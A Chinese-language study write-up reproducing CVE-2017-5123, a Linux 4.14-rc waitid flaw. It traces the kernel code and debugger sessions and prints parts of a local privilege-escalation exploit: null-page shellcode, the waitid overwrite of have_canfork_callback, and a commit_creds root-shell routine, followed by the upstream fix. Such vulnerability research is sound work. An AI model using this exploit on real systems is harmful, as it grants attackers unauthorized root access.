CVE-2017-5123复现

调试的第一个CVE,CVE-2017-5123。漏洞针对的Linux内核版本: 4.14~rc5。

熟悉Linux内核的人都知道SMAP和SMEP,SMAP禁止内核访问用户空间的数据,SMEP禁止内核执行用户空间的代码。在系统调用的处理过程中,在内核打算满足用户请求之前,需要检查系统调用参数,如果某一个参数指定的是地址,那么系统就要检查它是否在整个进程的地址空间中。在Linux2.2之后,系统对于参数的检查仅仅验证这个线性地址是否小于PAGE_OFFSET(即有没有在内核的线性地址空间内)。这种检查确保了进程地址空间和内核地址空间都不被非法访问。对系统调用所传递地址的检查是通过access_ok()来实现的,它会检查addr到addr+size-1这个地址区间是否属于进程的地址空间。
由于系统调用服务例程需要频繁的读写进程地址空间的数据,Linux定义了get_user(),copy_from_user(),copy_to_user(),put_user()等函数,来实现用户内核和数据区的数据复制,以put_user()为例,它首先会调用access_ok()来检查参数地址空间的合法性,然后禁用SMAP,允许内核短暂的访问用户空间数据,完成后再开启SMAP机制。另外还有一些访问进程地址空间的函数比如get_user,put_user,unsafe_put_user等,这些函数不会对参数地址空间进行检查,那这样就允许我们传递一个内核地址。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;

if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;

user_access_begin(); //禁用SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // signo = 0
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault); //int
unsafe_put_user(info.uid, &infop->si_uid, Efault); //int
unsafe_put_user(info.status, &infop->si_status, Efault); //int
user_access_end(); //开启SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}

waitid的作用是等待进程改变状态,由于缺少参数检查,那我们就可以传递一个内核地址作为unsafe_put_user的第二个参数infop,然后将某个内核地址修改为第一个参数的值,但是由于第一个参数范围的限制,我们修改范围有限。以上代码备注了6个unsafe_put_user第一个参数的类型,都是int类型,但pid的最大值PID_MAX=0x8000,uid的最大值是65535,info.status限制在0~255之间。waitid函数原型如下:

1
int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

这个漏洞利用是将一个叫做have_canfork_callback的变量传递给第二个参数,unsafe_put_user()将其第一个字节修改为0x11,通过对它的修改改变fork系统调用某个函数的执行流程,首先分析fork系统调用。

fork系统调用

Linux中有三种与创建进程相关的系统调用,分别是fork,vfork和clone,do_fork()负责处理这三个系统调用。do_fork()源码如下:
do_fork:

1
2
3
4
5
6
7
8
9
10
//https://elixir.bootlin.com/linux/v4.14-rc4/source/kernel/fork.c#L2091
long do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr)
{
return _do_fork(clone_flags, stack_start, stack_size,
parent_tidptr, child_tidptr, 0);
}

在do_fork函数中调用了_do_fork函数,_do_fork()中首先检查父进程的ptrace字段,确定是否有另外一个进程在跟踪父进程;然后调用copy_process函数复制进程描述符,重点关注copy_process这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//https://elixir.bootlin.com/linux/v4.14-rc4/source/kernel/fork.c#L2016
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;

/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;

if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}

p = copy_process(clone_flags, stack_start, stack_size, child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
... ...
}

copy_process函数创建进程描述符以及子进程执行所需要的所有其他数据结构,与本次漏洞利用相关的函数是在copy_process函数中调用的cgroup_can_fork函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//https://elixir.bootlin.com/linux/v4.14-rc4/source/kernel/fork.c#L1535
static __latent_entropy struct task_struct *copy_process(
unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace,
unsigned long tls,
int node)
{
... ...
/**
* Ensure that the cgroup subsystem policies allow the new process to be
* forked. It should be noted the the new process's css_set can be changed
* between here and cgroup_post_fork() if an organisation operation is in
* progress.
*/
retval = cgroup_can_fork(p); //here
if (retval)
goto bad_fork_free_pid;

/*
* Make it visible to the rest of the system, but dont wake it up yet.
* Need tasklist lock for parent etc handling!
*/
write_lock_irq(&tasklist_lock);
... ...
}

cgroup_can_fork函数源码如下,在该函数中,全局变量have_canfork_callback作为第三个参数传递给函数do_each_subsys_mask,第一个参数ss是一个结构体指针,在执行完do_each_subsys_mask后,会调用ss->can_fork(child),结构体cgroup_subsys里面有很多函数指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//https://elixir.bootlin.com/linux/v4.14-rc4/source/kernel/cgroup/cgroup.c#L5380
/**
* cgroup_can_fork - called on a new task before the process is exposed
* @child: the task in question.
*
* This calls the subsystem can_fork() callbacks. If the can_fork() callback
* returns an error, the fork aborts with that error code. This allows for
* a cgroup subsystem to conditionally allow or deny new forks.
*/
int cgroup_can_fork(struct task_struct *child)
{
struct cgroup_subsys *ss;
int i, j, ret;

do_each_subsys_mask(ss, i, have_canfork_callback) {
ret = ss->can_fork(child);
if (ret)
goto out_revert;
} while_each_subsys_mask();

return 0;

out_revert:
for_each_subsys(ss, j) {
if (j >= i)
break;
if (ss->cancel_fork)
ss->cancel_fork(child);
}

return ret;
}

//https://elixir.bootlin.com/linux/v4.14-rc4/source/include/linux/cgroup-defs.h#L508
struct cgroup_subsys {
struct cgroup_subsys_state *(*css_alloc)(struct cgroup_subsys_state *parent_css);
int (*css_online)(struct cgroup_subsys_state *css);
void (*css_offline)(struct cgroup_subsys_state *css);
void (*css_released)(struct cgroup_subsys_state *css);
void (*css_free)(struct cgroup_subsys_state *css);
void (*css_reset)(struct cgroup_subsys_state *css);

int (*can_attach)(struct cgroup_taskset *tset);
void (*cancel_attach)(struct cgroup_taskset *tset);
void (*attach)(struct cgroup_taskset *tset);
void (*post_attach)(void);
int (*can_fork)(struct task_struct *task);
void (*cancel_fork)(struct task_struct *task);
void (*fork)(struct task_struct *task);
void (*exit)(struct task_struct *task);
void (*free)(struct task_struct *task);
void (*bind)(struct cgroup_subsys_state *root_css);

bool early_init:1;
... ...
}

然后看一下do_each_subsys_mask这个函数的执行过程,have_canfork_callback对应的形参就是ss_mask,该函数首先判断了CGROUP_SUBSYS_COUNT是否为0,如果不为0则调用调用for_each_set_bit函数,在该函数中,参数addr指向位图,参数size指定了查找的范围,即位图中有效bit位的个数,find_first_bit函数在位图中寻找第一个为1的bit位,for_next_bit函数在size指定的范围内,从bit+1开始,寻找第一个为1的bit位。for_each_set_bit函数利用for循环在size范围内遍历位图中所有置位的bit位,直至找到最后一个为1的bit位,返回值是位图have_canfork_callback中小于CGROUP_SUBSYS_COUNT的最后一个为1的位置,然后ssid作为数组cgroup_subsys的下标,返回数组中第ssid个元素赋值给ss,然后在do_each_subsys_mask的调用者cgroup_can_fork中,调用ss->can_fork。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//https://elixir.bootlin.com/linux/v4.14-rc4/source/kernel/cgroup/cgroup.c#L592
/**
* do_each_subsys_mask - filter for_each_subsys with a bitmask
* @ss: the iteration cursor
* @ssid: the index of @ss, CGROUP_SUBSYS_COUNT after reaching the end
* @ss_mask: the bitmask
*
* The block will only run for cases where the ssid-th bit (1 << ssid) of
* @ss_mask is set.
*/
#define do_each_subsys_mask(ss, ssid, ss_mask) do { \
unsigned long __ss_mask = (ss_mask); \
if (!CGROUP_SUBSYS_COUNT) { /* to avoid spurious gcc warning */ \
(ssid) = 0; \
break; \
} \
for_each_set_bit(ssid, &__ss_mask, CGROUP_SUBSYS_COUNT) { \
(ss) = cgroup_subsys[ssid]; \
{

#define while_each_subsys_mask() \
} \
} \
} while (false)

//https://elixir.bootlin.com/linux/v4.14-rc4/source/include/linux/bitops.h#L39
#define for_each_set_bit(bit, addr, size) \
for ((bit) = find_first_bit((addr), (size)); \
(bit) < (size); \
(bit) = find_next_bit((addr), (size), (bit) + 1))

调试

系统环境

系统内核版本是4.14.0,文件系统是我随便找了一个题目的:

1
2
/ # uname -a
Linux (none) 4.14.0-rc4+ #1 SMP Mon Oct 16 21:54:35 CEST 2017 x86_64 GNU/Linux

查找我们用到的变量cgroup_can_fork的地址:

1
2
/ # cat /proc/kallsyms | grep cgroup_can_fork
ffffffff810e0180 T cgroup_can_fork

正常执行

首先看一下正常执行过程。在cgroup_can_fork函数下断点,随意输入一条命令,创建进程触发fork系统调用,执行到断点,单步执行得到0xffffffff810e019b处,rip+0xe5f2b8是全局变量have_canfork_callback的地址:
1
have_canfork_callback变量的值如下:

1
2
3
4
5
pwndbg> x /8gx 0xffffffff810e01a2+0xe5f2b8
0xffffffff81f3f45a: 0x000b000000000000 0x0001000000000000
0xffffffff81f3f46a: 0x0000000000000000 0x0000000000000000
0xffffffff81f3f47a: 0x0000000000000000 0x0000000000000000
0xffffffff81f3f48a: 0xf980000000000000 0x0000ffffffff81f3

继续执行,函数执行到0xffffffff810e01a6,调用了一个函数,目前不确定这个函数是什么。本次调用这个函数返回值是4:
2
看下一条汇编,当函数返回值大于3时,函数跳转到函数结束处,销毁堆栈执行到返回:
3
既然不确定在地址0xffffffff810e01a6调用的哪个函数,那假如这个函数返回值小于等于三的话,会执行什么代码呢?或许看了后面的执行流程我们就能猜出这个函数是什么。程序在0xffffffff810e01b9处有一个跳转:
4
程序跳转至看一下0xffffffff810e01d6,看一下这个地址处的汇编:
5
观察汇编,看到在地址0xffffffff810e01e0处有一个间接调用,call rax+0x50,这个地方一定是调用了一个函数指针,联想到函数cgroup_can_fork中的ss->can_fork,can_fork在结构体cgroup_subsys的偏移正好是0x50,那这条语句的rax就是数组cgroup_subsys的地址,再往上一条指令追溯,rax为0,r12指向的地址处就是数组cgroup_subsys,一直往前回溯到0xffffffff810e01b2有一个赋值操作,那我们就得到cgroup_subsys的地址:
6
此时,我们可以知道,地址0xffffffff810e01a6的函数调用完成了在位图cgroup_can_fork的遍历,在CGROUP_SUBSYS_COUNT范围内搜索最后一个置位的bit,CGROUP_SUBSYS_COUNT默认值为4,由于cgroup_can_fork第一个且唯一一个不为0的字节是0x0b,换算为二进制就是 1 0 1 1,因此该函数的返回值是4,但是cgroup_subsys数组只有四个,下标最大为3,所以在0xffffffff810e01a6处有一个比较,大于3的就不会执行ss->can_fork了,程序返回。

exp

exp来自这里,下面分析exp的执行流程。
exp接受一个参数是cgroup_can_fork的地址,在我的环境是0xffffffff81f3f45a。exp首先读取/proc/kallsyms获取prepare_kernel_cred和commit_creds函数地址:

1
2
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");

然后mmap一段大小为4096的匿名空间,起始地址为0,并将shellcode拷贝至地址0处:

1
2
3
4
5
6
7
8
9
10
11
static const unsigned char shellcode[] = {
0xFF, 0x24, 0x25, 0x08, 0x00, 0x00, 0x00, 0x00,
};

if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");

memcpy(0, shellcode, sizeof(shellcode));

shellcode长度为8个字节,在地址8处,将自定义函数get_root函数地址拷贝至此处,get_root函数通过commit_creds(prepare_kernel_cred(0))来提权:

1
2
3
4
5
6
void get_root() {
if (commit_creds && prepare_kernel_cred)
commit_creds(prepare_kernel_cred(0));
}

*(unsigned long*)sizeof(shellcode) = (unsigned long)get_root;

然后执行fork创建进程,并调用waitid函数将cgroup_can_fork地址作为其第二个参数传入:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(-1 == (pid = fork())) {
perror("fork()");
return EXIT_FAILURE;
}

if(pid == 0) {
_exit(0xDEADBEEF);
perror("son");
return EXIT_FAILURE;
}

siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

将cgroup_can_fork作为waitid参数传入后,在执行完waitid后,cgroup_can_fork被修改为0x11:
7
此时再创建一个进程,触发fork系统调用,遍历cgroup_can_fork位图,由于cgroup_can_fork被修改为0x11,也就是1 0 0 0 1,由于CGROUP_SUBSYS_COUNT默认值为4,因此我们得到在位图中最后一个为1的位置是第1bit,因此在地址0xffffffff810e01a6返回值为0:
8
返回值0小于3,程序继续执行,执行到0xffffffff810e01e0处call [rax+0x50],rax+0x50处的内容为0:
9
那就是调用地址为0处的函数,0地址处我们早早就布置上了shellcode,程序跳转至地址0处执行,我们的shellcode只有8个字节,且其汇编内容就是jmp 0x8:
10
地址8处我们写入了get_root函数起始地址,执行commit_creds(prepare_kernel_cred(0))进行提权,如果提权成功就尝试进行get_shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void get_shell() {
char *argv[] = {"/bin/sh", NULL};

if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}

// TRIGGER
pid = fork();
printf("fork_ret = %d\n", pid);
if (pid > 0)
get_shell();

最终执行结果如下,虽然getuid已经为0提取成功,在get shell时提示“can’t access tty, job control turned off”,我感觉应该是在配置内核的dev的问题,但是尝试了网上很多解决方案都没有成功解决。
12
这里有绕过SEMP、SMAP、Chrome沙箱的exp,由于还没有学习浏览器的漏洞利用,所以先留个坑~~

修复

这个漏洞的原因是使用unsafe_put_user替换掉原来安全的put_user:
13
修复是在关闭SMAP之前调用access_ok函数对infop参数进行检查。
14

参考

https://paper.seebug.org/451/
https://bbs.pediy.com/thread-247014.htm
《深入理解Linux内核》